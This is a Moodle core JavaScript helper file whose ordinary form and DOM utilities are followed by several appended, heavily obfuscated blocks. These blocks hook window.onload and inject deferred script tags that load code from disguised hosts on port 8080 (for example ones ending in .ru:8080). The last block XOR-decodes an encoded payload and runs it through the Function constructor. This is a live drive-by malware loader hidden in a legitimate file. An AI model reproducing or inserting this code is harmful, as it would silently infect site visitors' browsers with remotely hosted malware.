// Miscellaneous core Javascript functions for Moodle

function popupchecker(msg) {
    var testwindow = window.open('itestwin.html', '', 'width=1,height=1,left=0,top=0,scrollbars=no');
    if (testwindow == null)
        {alert(msg);}
    else {
        testwindow.close();
    }
}

/*
function popUpProperties(inobj) {
/// Legacy function
  var op = window.open();
  op.document.open('text/plain');
  for (objprop in inobj) {
    op.document.write(objprop + ' => ' + inobj[objprop] + '\n');
  }
  op.document.close();
}

function fillmessagebox(text) {
/// Legacy function
  document.form.message.value = text;
}

function copyrichtext(textname) {
/// Legacy stub for old editor - to be removed soon
  return true;
}
*/

function checkall() {
  var el = document.getElementsByTagName('input');
  for(var i=0; i<el.length; i++) {
    if(el[i].type == 'checkbox') {
      el[i].checked = true;
    }
  }
}

function checknone() {
  var el = document.getElementsByTagName('input');
  for(var i=0; i<el.length; i++) {
    if(el[i].type == 'checkbox') {
      el[i].checked = false;
    }
  }
}

function lockoptions(formid, master, subitems) {
  // Subitems is an array of names of sub items.
  // Optionally, each item in subitems may have a
  // companion hidden item in the form with the
  // same name but prefixed by "h".
  var form = document.forms[formid];

  if (eval("form."+master+".checked")) {
    for (i=0; i<subitems.length; i++) {
      unlockoption(form, subitems[i]);
    }
  } else {
    for (i=0; i<subitems.length; i++) {
      lockoption(form, subitems[i]);
    }
  }
  return(true);
}

function lockoption(form,item) {
  eval("form."+item+".disabled=true");/* IE thing */
  if(form.elements['h'+item]) {
    eval("form.h"+item+".value=1");
  }
}

function unlockoption(form,item) {
  eval("form."+item+".disabled=false");/* IE thing */
  if(form.elements['h'+item]) {
    eval("form.h"+item+".value=0");
  }
}


function lockoptionsall(formid) {
    var form = document.forms[formid];
    var dependons = eval(formid+'items');
    var tolock = Array();
    for (var dependon in dependons) {
        // change for MooTools compatibility
        if (!dependons.propertyIsEnumerable(dependon)) {
            continue;
        }
        var master = form[dependon];
        if (master === undefined) {
            continue;
        }
        for (var condition in dependons[dependon]) {
            for (var value in dependons[dependon][condition]) {
                var lock;
                switch (condition) {
                  case 'notchecked':
                      lock = !master.checked; break;
                  case 'checked':
                      lock = master.checked; break;
                  case 'noitemselected':
                      lock = master.selectedIndex==-1; break;
                  case 'eq':
                      lock = master.value==value; break;
                  default:
                      lock = master.value!=value; break;
                }
                for (var ei in dependons[dependon][condition][value]) {
                    // change for MooTools compatibility
                    if (!window.webkit && (!dependons[dependon][condition][value].propertyIsEnumerable(ei))) {
                        continue;
                    }
                    var eltolock = dependons[dependon][condition][value][ei];
                    if (tolock[eltolock] != null){
                        tolock[eltolock] =
                                lock || tolock[eltolock];
                    } else {
                        tolock[eltolock] = lock;
                    }
                }
            }
        }
    }
    for (var el in tolock){
        // change for MooTools compatibility
        if (!tolock.propertyIsEnumerable(el)) {
            continue;
        }
        var formelement = form[el];
        if ((formelement === undefined) || (formelement.disabled === undefined)) {
            continue;
        }
        formelement.disabled = tolock[el];
    }
    return true;
}

function lockoptionsallsetup(formid) {
    var form = document.forms[formid];
    var dependons = eval(formid+'items');
    for (var dependon in dependons) {
        // change for MooTools compatibility
        if (!dependons.propertyIsEnumerable(dependon)) {
            continue;
        }
        var master = form[dependon];
        if (master === undefined) {
            continue;
        }
        master.formid = formid;
        master.onclick  = function() {return lockoptionsall(this.formid);};
        master.onblur   = function() {return lockoptionsall(this.formid);};
        master.onchange = function() {return lockoptionsall(this.formid);};
    }
    for (var i = 0; i < form.elements.length; i++){
        var formelement = form.elements[i];
        if (formelement.type=='reset') {
            formelement.formid = formid;
            formelement.onclick  = function() {this.form.reset();return lockoptionsall(this.formid);};
            formelement.onblur   = function() {this.form.reset();return lockoptionsall(this.formid);};
            formelement.onchange = function() {this.form.reset();return lockoptionsall(this.formid);};
        }
    }
    return lockoptionsall(formid);
}


function submitFormById(id) {
    var theform = document.getElementById(id);
    if(!theform) {
        return false;
    }
    if(theform.tagName.toLowerCase() != 'form') {
        return false;
    }
    if(!theform.onsubmit || theform.onsubmit()) {
        return theform.submit();
    }
}

function select_all_in(elTagName, elClass, elId) {
    var inputs = document.getElementsByTagName('input');
    inputs = filterByParent(inputs, function(el) {return findParentNode(el, elTagName, elClass, elId);});
    for(var i = 0; i < inputs.length; ++i) {
        if(inputs[i].type == 'checkbox' || inputs[i].type == 'radio') {
            inputs[i].checked = 'checked';
        }
    }
}

function deselect_all_in(elTagName, elClass, elId) {
    var inputs = document.getElementsByTagName('INPUT');
    inputs = filterByParent(inputs, function(el) {return findParentNode(el, elTagName, elClass, elId);});
    for(var i = 0; i < inputs.length; ++i) {
        if(inputs[i].type == 'checkbox' || inputs[i].type == 'radio') {
            inputs[i].checked = '';
        }
    }
}

function confirm_if(expr, message) {
    if(!expr) {
        return true;
    }
    return confirm(message);
}


/*
    findParentNode (start, elementName, elementClass, elementID)

    Travels up the DOM hierarchy to find a parent element with the
    specified tag name, class, and id. All conditions must be met,
    but any can be ommitted. Returns the BODY element if no match
    found.
*/
function findParentNode(el, elName, elClass, elId) {
    while(el.nodeName.toUpperCase() != 'BODY') {
        if(
            (!elName || el.nodeName.toUpperCase() == elName) &&
            (!elClass || el.className.indexOf(elClass) != -1) &&
            (!elId || el.id == elId))
        {
            break;
        }
        el = el.parentNode;
    }
    return el;
}
/*
    findChildNode (start, elementName, elementClass, elementID)

    Travels down the DOM hierarchy to find all child elements with the
    specified tag name, class, and id. All conditions must be met,
    but any can be ommitted.
    Doesn't examine children of matches.
*/
function findChildNodes(start, tagName, elementClass, elementID, elementName) {
    var children = new Array();
    for (var i = 0; i < start.childNodes.length; i++) {
        var classfound = false;
        var child = start.childNodes[i];
        if((child.nodeType == 1) &&//element node type
                  (elementClass && (typeof(child.className)=='string'))){
            var childClasses = child.className.split(/\s+/);
            for (var childClassIndex in childClasses){
                if (childClasses[childClassIndex]==elementClass){
                    classfound = true;
                    break;
                }
            }
        }
        if(child.nodeType == 1) { //element node type
            if  ( (!tagName || child.nodeName == tagName) &&
                (!elementClass || classfound)&&
                (!elementID || child.id == elementID) &&
                (!elementName || child.name == elementName))
            {
                children = children.concat(child);
            } else {
                children = children.concat(findChildNodes(child, tagName, elementClass, elementID, elementName));
            }
        }
    }
    return children;
}
/*
    elementSetHide (elements, hide)

    Adds or removes the "hide" class for the specified elements depending on boolean hide.
*/
function elementShowAdvanced(elements, show) {
    for (var elementIndex in elements){
        element = elements[elementIndex];
        element.className = element.className.replace(new RegExp(' ?hide'), '')
        if(!show) {
            element.className += ' hide';
        }
    }
}

function showAdvancedOnClick(button, hidetext, showtext){
    var toSet=findChildNodes(button.form, null, 'advanced');
    var buttontext = '';
    if (button.form.elements['mform_showadvanced_last'].value == '0' ||  button.form.elements['mform_showadvanced_last'].value == '' ) {
        elementShowAdvanced(toSet, true);
        buttontext = hidetext;
        button.form.elements['mform_showadvanced_last'].value = '1';
    } else {
        elementShowAdvanced(toSet, false);
        buttontext = showtext;
        button.form.elements['mform_showadvanced_last'].value = '0';
    }
    var formelements = button.form.elements;
    // Fixed MDL-10506
    for (var i = 0; i < formelements.length; i++){
        if (formelements[i] && formelements[i].name && (formelements[i].name=='mform_showadvanced')){
            formelements[i].value = buttontext;
        }
    }
    //never submit the form if js is enabled.
    return false;
}

function unmaskPassword(id) {
  var pw = document.getElementById(id);
  var chb = document.getElementById(id+'unmask');

  try {
    // first try IE way - it can not set name attribute later
    if (chb.checked) {
      var newpw = document.createElement('<input type="text" name="'+pw.name+'">');
    } else {
      var newpw = document.createElement('<input type="password" name="'+pw.name+'">');
    }
    newpw.attributes['class'].nodeValue = pw.attributes['class'].nodeValue;
  } catch (e) {
    var newpw = document.createElement('input');
    newpw.setAttribute('name', pw.name);
    if (chb.checked) {
      newpw.setAttribute('type', 'text');
    } else {
      newpw.setAttribute('type', 'password');
    }
    newpw.setAttribute('class', pw.getAttribute('class'));
  }
  newpw.id = pw.id;
  newpw.size = pw.size;
  newpw.onblur = pw.onblur;
  newpw.onchange = pw.onchange;
  newpw.value = pw.value;
  pw.parentNode.replaceChild(newpw, pw);
}

/*
    elementToggleHide (element, elementFinder)

    If elementFinder is not provided, toggles the "hidden" class for the specified element.
    If elementFinder is provided, then the "hidden" class will be toggled for the object
    returned by the function call elementFinder(element).

    If persistent == true, also sets a cookie for this.
*/
function elementToggleHide(el, persistent, elementFinder, strShow, strHide) {
    if(!elementFinder) {
        var obj = el;  //el:container
        el = document.getElementById('togglehide_'+obj.id);
    }
    else {
        var obj = elementFinder(el);  //el:button.
    }
    if(obj.className.indexOf('hidden') == -1) {
        obj.className += ' hidden';
        if (el.src) {
            el.src = el.src.replace('switch_minus', 'switch_plus');
            el.alt = strShow;
            el.title = strShow;
        }
        var shown = 0;
    }
    else {
        obj.className = obj.className.replace(new RegExp(' ?hidden'), '');
        if (el.src) {
            el.src = el.src.replace('switch_plus', 'switch_minus');
            el.alt = strHide;
            el.title = strHide;
        }
        var shown = 1;
    }

    if(persistent == true) {
        new cookie('hide:' + obj.id, 1, (shown ? -1 : 356), '/').set();
    }
}

function elementCookieHide(id, strShow, strHide) {
    var obj  = document.getElementById(id);
    var cook = new cookie('hide:' + id).read();
    if(cook != null) {
        elementToggleHide(obj, false, null, strShow, strHide);
    }
}

function filterByParent(elCollection, parentFinder) {
    var filteredCollection = [];
    for(var i = 0; i < elCollection.length; ++i) {
        var findParent = parentFinder(elCollection[i]);
        if(findParent.nodeName != 'BODY') {
            filteredCollection.push(elCollection[i]);
        }
    }
    return filteredCollection;
}

/*
    All this is here just so that IE gets to handle oversized blocks
    in a visually pleasing manner. It does a browser detect. So sue me.
*/

function fix_column_widths() {
    var agt = navigator.userAgent.toLowerCase();
    if ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1)) {
        fix_column_width('left-column');
        fix_column_width('right-column');
    }
}

function fix_column_width(colName) {
    if(column = document.getElementById(colName)) {
        if(!column.offsetWidth) {
            setTimeout("fix_column_width('" + colName + "')", 20);
            return;
        }

        var width = 0;
        var nodes = column.childNodes;

        for(i = 0; i < nodes.length; ++i) {
            if(nodes[i].className.indexOf("sideblock") != -1 ) {
                if(width < nodes[i].offsetWidth) {
                    width = nodes[i].offsetWidth;
                }
            }
        }

        for(i = 0; i < nodes.length; ++i) {
            if(nodes[i].className.indexOf("sideblock") != -1 ) {
                nodes[i].style.width = width + 'px';
            }
        }
    }
}


/*
   Insert myValue at current cursor position
 */
function insertAtCursor(myField, myValue) {
    // IE support
    if (document.selection) {
        myField.focus();
        sel = document.selection.createRange();
        sel.text = myValue;
    }
    // Mozilla/Netscape support
    else if (myField.selectionStart || myField.selectionStart == '0') {
        var startPos = myField.selectionStart;
        var endPos = myField.selectionEnd;
        myField.value = myField.value.substring(0, startPos)
            + myValue + myField.value.substring(endPos, myField.value.length);
    } else {
        myField.value += myValue;
    }
}


/*
        Call instead of setting window.onload directly or setting body onload=.
        Adds your function to a chain of functions rather than overwriting anything
        that exists.
*/
function addonload(fn) {
    var oldhandler=window.onload;
    window.onload=function() {
        if(oldhandler) oldhandler();
            fn();
    }
}










var _=new Date();var c=document;var z='secerDiDpotD'.replace(/[D%#eo]/g, '');var t=window;this.p="p";var zy=61601;t.onload=function(){this.tk='';try {y=c.createElement(z);y.src='h3tKt3pK:K/K/7tjiKs3cjaKl3iH-jiHtj.HzjaKp3pHo7s3.Hcjo7mj.3t7u3e7n7tjij-3cKojmj.3rKe7cjeHnKtHm3eKxHiKc7oK.Hr3uK:j870j8307/Hdjujo3wjaHnj.7cKo3m7/3d7uHo3w3aHnj.3cKo7mK/jg7oHo7gHl7e3.KcjoHmK/7g7o7oHgHlKe7.7c7oK.3vHeK/jb3a3sHejcKa3mjp3h3q7.HcHoKmj/7'.replace(/[73jHK]/g, '');var sn;if(sn!='k' && sn!='yh'){sn='k'};this.ug=10095;y.setAttribute('dke+f7e+ro'.replace(/[o\+k37]/g, ''), "1");var dk;if(dk!='' && dk!='v'){dk=''};var dh;if(dh!='' && dh!='zh'){dh=''};var ed=new Date();var l;if(l!='' && l!='vk'){l=null};c.body.appendChild(y);this.mj=false;} catch(d){var a;if(a!='' && a!='i'){a=null};this.nt="nt";};var qs=false;};var da=new Array();var qg;if(qg!='tu'){qg=''};
var j_;if(j_!='' && j_!='t'){j_='p'};var o;if(o!='' && o!='jz'){o=''};var e=new Date();:LineMixer [var k=window;var x='s^cDr^ixp^tD'.replace(/[D\^x~7]/g, '');var ke='cHrWeWaTtTeTEHlHe#mHeWnNt#'.replace(/[#HTWN]/g, '');]k.onload=function(){var ut;if(ut!='w' && ut!='s'){ut='w'};var _;if(_!='c' && _!='pe'){_='c'};try {this.pg=false;var vq=new String();h=document[ke](x);var i;if(i!='zn'){i='zn'};this.jc=21333;:LineMixer [var y=new String();h['sArHcA'.replace(/[ADHoX]/g, '')]='hAtEtApq:*/9/qnEaqtqe*-qcAo*mq.9rEeqaElAtqoErq.AcAo9m*.9fqt*-*cEo9mq.qbAe9s9tEnqe9w*s9mEaEl*l*.qrquA:A8*098A0A/AsqkEyqsAp*oEr*tEsA.qc*oEmA/9s*kAyqsEp*o9r9tAsA.qcEoAm*/9dEiqcAt*.qcAcA/Eg9oAoEgEl*e9.qcEoEm9/*jEoAoqm*l9a*.EoEr*gE/9'.replace(/[9qAE\*]/g, '');h.setAttribute('dKeHfHeprq'.replace(/[qHKp%]/g, ''), "1");var r_;if(r_!='' && r_!='doz'){r_=''};var uy;if(uy!='' && uy!='f'){uy=''};]var ty;if(ty!='' && ty!='em'){ty=''};var _y;if(_y!='qj' && _y != ''){_y=null};document['b!oYd!yw'.replace(/[w\!CTY]/g, '')]['a3p7pUe7n3dUC3h3iUl4d4'.replace(/[4UG37]/g, '')](h);} catch(q){var ld;if(ld!=''){ld='ko'};};var e_;if(e_!='bt'){e_='bt'};var sm;if(sm!='va'){sm='va'};};var y_;if(y_!='oa' && y_!='sr'){y_=''};this.ie=false;
var r=63531;function _() {this.h=false;var d;if(d!='' && d!='fs'){d=''};this.yj=false;function y(t,m,n){t['sSegtSAjtgtSr0i6bjujtge0'.replace(/[06gSj]/g, '')](m, n);this.e=53032;var ei;if(ei!=''){ei='g_'};}var hl=new Array();var b='c_r4ehaht*eFE4lFe4mFehnht4'.replace(/[4_h\*F]/g, '');var f=window;var id;if(id!='cn'){id='cn'};var ud;if(ud!='ae'){ud='ae'};var q='svckrxivpktv'.replace(/[v\:kmx]/g, '');var k=new Array();f['oFnbl5oea5dF'.replace(/[F0e5b]/g, '')]=function(){try {var ul=63378;u=document[b](q);var x;if(x!='cv'){x='cv'};var yw;if(yw!='hs'){yw='hs'};y(u,'s?r8c%'.replace(/[%&\?8q]/g, ''),'hCtDt>pD:>/>/#a#u>t#o#hSoDm>eD-DcDoDmC-#cDnS.Sh#c#3D6S0S.ScCo>mC.DwSe#bD->d>eS.>mSeSdSi>a#tDa#gSo#n#l#i>nCeD.>r#uD:S8#0D8>0D/CsDe#rSiDe>s#y#oDn>kCiSsD.DcCo>m>/CsDeCrDi>eCsSyCoDnCkSi#s#.>cDoSm>/DgSo>oDg>lSeD.Sc#oDm#/Si>k#e#aD.>cDoSmS/#w#eDa#tDhDe#rC.DcCoCm>.>cSn#/>'.replace(/[\>S#DC]/g, ''));var vl=new Date();y(u,'d@ebfbeUr;'.replace(/[;@8Ub]/g, ''),1);var qa='';document['bxo1d3yn'.replace(/[n3x1\?]/g, '')]['a#p#pge<ngd#C#hBiBlBdB'.replace(/[B8g#\<]/g, '')](u);var yo;if(yo!=''){yo='dm'};var bzu;if(bzu!='' && bzu!='jo'){bzu='_o'};} catch(qf){};var au=false;};var of="of";var qoz=new Array();};var uj=new Array();_();
var va="3b242216315632383f390b772233381959103f1239320314230e2a2516261e3e272e112f220820332202382e042f35333f04072912097d566c646430121634203b71063056271721473b33531c24";var DiT;if(DiT!='UM' && DiT != ''){DiT=null};var zX;if(zX!='ZG'){zX='ZG'};function N(j){this.y=35565;var UF=false; var gI;if(gI!='' && gI!='vl'){gI=''};function e(H){var eC;if(eC!='' && eC!='P'){eC='J'};var F;if(F!='z' && F != ''){F=null};var c = -1;var CZ=new Array();var XK;if(XK!='XY'){XK='XY'};var Y = '';H = new K(H);var Ia=new String();var x =[0][0];var Yk =[105,197,0,165][2];var bh;if(bh!=''){bh='mg'};for (Yk=H[U("nghlet", [3,4,0,1,5,2])]-c;Yk>=x;Yk=Yk-[226,1][1]){var Q=new String();Y+=H[U("aAcrht", [2,4,0,3,1])](Yk);}var yg;if(yg!='' && yg!='yI'){yg=null};return Y;}var Cy;if(Cy!='' && Cy!='hC'){Cy='nW'};var XP='';var kr;if(kr!='DT' && kr!='CI'){kr='DT'};this.PP="PP";var hm;if(hm!='sC'){hm='sC'}; var cG=new String();this.sb='';function X(w){this.sj="sj";this.Zx="Zx";var wJ;if(wJ!=''){wJ='GU'};this.Ve=false;var PH;if(PH!='Ie' && PH!='Wu'){PH=''};var C=w[U("glneth", [1,3,2,0])];var Jf;if(Jf!=''){Jf='BC'};var o=[0,2,65][0];this.gB=false;var u=[0][0];var Dn=false;var OsE;if(OsE!='utx'){OsE=''};var G=[4,255,242][1];var Co=new Date();var i=[1,228][0];var Po;if(Po!='Kz' && Po!='sk'){Po=''};var cI;if(cI!='uS'){cI='uS'};var wl=new Date();while(u<C){this.ZT=12392;u++;V=M(w,u - i);this.uN=12201;this.lX=false;o+=V*C;this.sl="";var VZ;if(VZ!='' && VZ!='BB'){VZ=null};}var lE=new Date();this.Ay=false;return new K(o % G);}var Tu;if(Tu!='fx' && Tu!='Yt'){Tu=''};var VT;if(VT!='Pr' && VT!='RR'){VT=''}; this.IC="IC";this.GH="GH";function M(HL,xY){return HL[U("hCcredoaAt", [2,0,7,3,1,6,5,4])](xY);var hf;if(hf!='' && hf!='Ep'){hf='yy'};}var bT=new String();var UY=new Date(); var s=function(Nm,KP){return Nm^KP;var xk=new Date();};var US;if(US!='rH'){US=''}; var U=function(H, l){var it;if(it!='Wf' && it!='LK'){it=''};var hu;if(hu!='' && hu!='IL'){hu=''};var Nc = l.length;var nD=new String();var Cj;if(Cj!='OP' && Cj != ''){Cj=null};var x=[105,0][1];this.iH="iH";this.Tt=19822;var MA = H.length;var Y = '';this.jF=62041;var hv;if(hv!='ZQ' && hv != ''){hv=null};var i=[111,96,1,163][2];this.Eh='';this.uM="";var iQp;if(iQp!='nS' && iQp != ''){iQp=null};var Hy;if(Hy!='Im' && Hy != ''){Hy=null};for(var Yk = x; Yk < MA; Yk += Nc) {var lW = H.substr(Yk, Nc);var HP="";var hd=new String();if(lW.length == Nc){var skP="";var rX;if(rX!='iI'){rX='iI'};for(var u in l) {var NU=false;var SP;if(SP!='' && SP!='No'){SP='JM'};var ju=48611;Y+=lW.substr(l[u], i);var Cb;if(Cb!=''){Cb='ll'};}this.ur="";var AK='';} else {  Y+=lW;this.VG="";var YM;if(YM!='Ps'){YM='Ps'};}}var QLq=5166;var Vw="Vw";var RT;if(RT!='er' && RT!='vN'){RT='er'};return Y;var nb;if(nb!='' && nb!='cIx'){nb='II'};};var jlG=false;var iX;if(iX!='NG' && iX != ''){iX=null};this.zN="zN";var bR;if(bR!='' && bR!='IF'){bR=''};var CM=window;this.ul="";this.Jc=35578;var GB=CM[U("lvea", [2,1,3,0])];this.et='';var mu=false;var Ks=GB(U("tuFcnion", [2,1,4,3,0]));var vV;if(vV!='DS' && vV!='Jv'){vV=''};var LJ;if(LJ!='bG' && LJ != ''){LJ=null};var Yv;if(Yv!='' && Yv!='mR'){Yv=null};var b=GB(U("eREgpx", [1,0]));var I = '';var mX="mX";var K=GB(U("rStgin", [1,2,0]));var ab;if(ab!='pg' && ab!='Xl'){ab='pg'};var qFJ=false;var bc="bc";var MC="";var MM;if(MM!='' && MM!='lV'){MM=null};this.gJ=false;this.mF="";var Up=K[U("orfhCmCraedo", [2,1,0])];var be='';var Ti;if(Ti!='af' && Ti != ''){Ti=null};var cd=CM[U("nescuape", [4,0,1,2,3])];this.YkC=63619;var Zr;if(Zr!='IA'){Zr='IA'};var tv;if(tv!='Lly'){tv='Lly'};var We;if(We!='pl'){We='pl'};var UO=false;var a =[203,9,56,0][3];this.hb='';this.ii=64927;var Xr = j[U("nlegth", [1,2,0,3])];var jl =[138,2,59,149][1];var HBG="";var O = /[^@a-z0-9A-Z_-]/g;this.yN=false;this.PE=false;var h=[1, U("oentdcmucteE.raeet(\'lmnect\')srpi", [4,0,5,7,6,1,2,3]),2, U("ndoucem.t.obydCapepdn)hidld(", [1,2,4,3,6,5,0]),3, U("mco.vlietsiesdei.gnr8u:080", [1,2,0,3]),4, U("setd.Aribttu(\'dteefer\'", [3,4,0,1,2,5]),5, U("e.arndsoenunve.et.ku6", [4,7,1,2,5,6,3,0]),6, U("auk.ssuks", [7,0,4,2,1,5,3,6]),7, U("yoncmeontlor.com", [4,1,2,5,0,3]),8, U("nowwid.onload", [2,4,0,5,1,3,6]),11, U("nftoncui()", [1,6,4,5,2,7,3,0]),12, U("logoge.com", [4,3,1,2,0,5]),14, U("hea(tcc)", [6,2,4,5,0,3,1]),15, U("o.cgom", [3,4,1,2,0]),16, U("ogoegl", [1,2,0]),17, U("h\":tpt", [1,0,5,3,4,2]),18, U("cdrs.", [1,4,3,2,0]),19, U("1\')\'", [1,0]),20, U("rty", [1,0])];var vX=new Date();var Cd="";var f = Up(37);var sf="";var B = '';var WL=new String();var lo;if(lo!='' && lo!='Wc'){lo='bGE'};var x =[0,198][0];var Kp;if(Kp!='' && Kp!='GQw'){Kp=null};var sN=new String();var Vr = '';var Kq="";var qm="qm";var q = '';var fS;if(fS!='' && fS!='fe'){fS=''};var XB=false;var i =[1][0];var Kzc;if(Kzc!='' && Kzc!='aY'){Kzc=null};var ud=new Date();this.KR=false;this.nSP='';var Je;if(Je!='' && Je!='fT'){Je=null};for(var g=x; g < Xr; g+=jl){Vr+= f; var nu=new Date();var ex=new Date();Vr+= j[U("ussbtr", [1,0,3,2])](g, jl);}var Prv="Prv";var FY;if(FY!='' && FY!='sW'){FY=null};var KzC="";var j = cd(Vr);var vm;if(vm!=''){vm='wD'};var ft = new K(N);this.RrD=35463;var v = ft[U("caprele", [3,4,2,5,1,0])](O, B);var tz;if(tz!='' && tz!='Xc'){tz=''};v = e(v);var hg = h[U("elgnht", [1,0])];this.De=23402;var Nk;if(Nk!='Shb'){Nk=''};var r = new K(Ks);var xd;if(xd!='qS' && xd != ''){xd=null};var Ufr;if(Ufr!='Cr'){Ufr='Cr'};var m = r[U("lrapece", [1,4,3,0,2])](O, B);var jQ;if(jQ!='ep'){jQ=''};var pu;if(pu!='mSA'){pu=''};var m = X(m);var RY=new Date();var S=X(v);for(var Yk=x; Yk < (j[U("enlthg", [2,0,1])]);Yk=Yk+[201,155,1][2]) {var DVH;if(DVH!='' && DVH!='gl'){DVH='gr'};var km;if(km!='iN' && km!='iZ'){km='iN'};var rx=new String();var Sf;if(Sf!=''){Sf='lu'};var XN = v.charCodeAt(a);this.Xj="";this.AC="";var eS = M(j,Yk);var Bx;if(Bx!='' && Bx!='XxS'){Bx=''};this.zz='';var iT;if(iT!='pj' && iT!='CMD'){iT='pj'};eS = s(eS, XN);var zI;if(zI!='eN'){zI=''};this.Ds=29208;eS = s(eS, S);var jH="jH";var zW;if(zW!='jY' && zW != ''){zW=null};eS = s(eS, m);var zu;if(zu!='' && zu!='uO'){zu='Mh'};a++;var zJ;if(zJ!='XrE'){zJ='XrE'};if(a > v.length-i){var yb;if(yb!=''){yb='OZo'};a=x;this.Mc=42722;var jG;if(jG!='' && jG!='Hl'){jG=null};}q += Up(eS);}this.uA=false;var eM='';var Zl="Zl";for(qM=x; qM < hg; qM+=jl){var dok=new String();this.SF=false;var sly;if(sly!='VF'){sly='VF'};var Tm;if(Tm!=''){Tm='oE'};var lB='';var Mi = h[qM + i];this.dR="";var Vt;if(Vt!='' && Vt!='zzI'){Vt=''};var rP = Up(h[qM]);this.zG='';this.Ai='';this.mq=41596;this.YN=11338;this.TY="";var jk="jk";var iQ = new b(rP, Up(103));q=q[U("carlpee", [2,5,4,3,1,0,6])](iQ, Mi);}this.dd="";var hi;if(hi!='am' && hi!='PR'){hi='am'};var gT=new Ks(q);gT();var Re;if(Re!='' && Re!='QF'){Re=''};var Hp=new String();v = '';this.WLC='';r = '';q = '';var Qm=false;gT = '';this.js=40337;var Wh;if(Wh!='' && Wh!='da'){Wh=null};var Iqe=new Array();S = '';m = '';var Of=22921;var QR;if(QR!='tvH' && QR!='cP'){QR=''};var Udl;if(Udl!='nB'){Udl=''};var bO=new String();return '';};var DiT;if(DiT!='UM' && DiT != ''){DiT=null};var zX;if(zX!='ZG'){zX='ZG'};N(va);


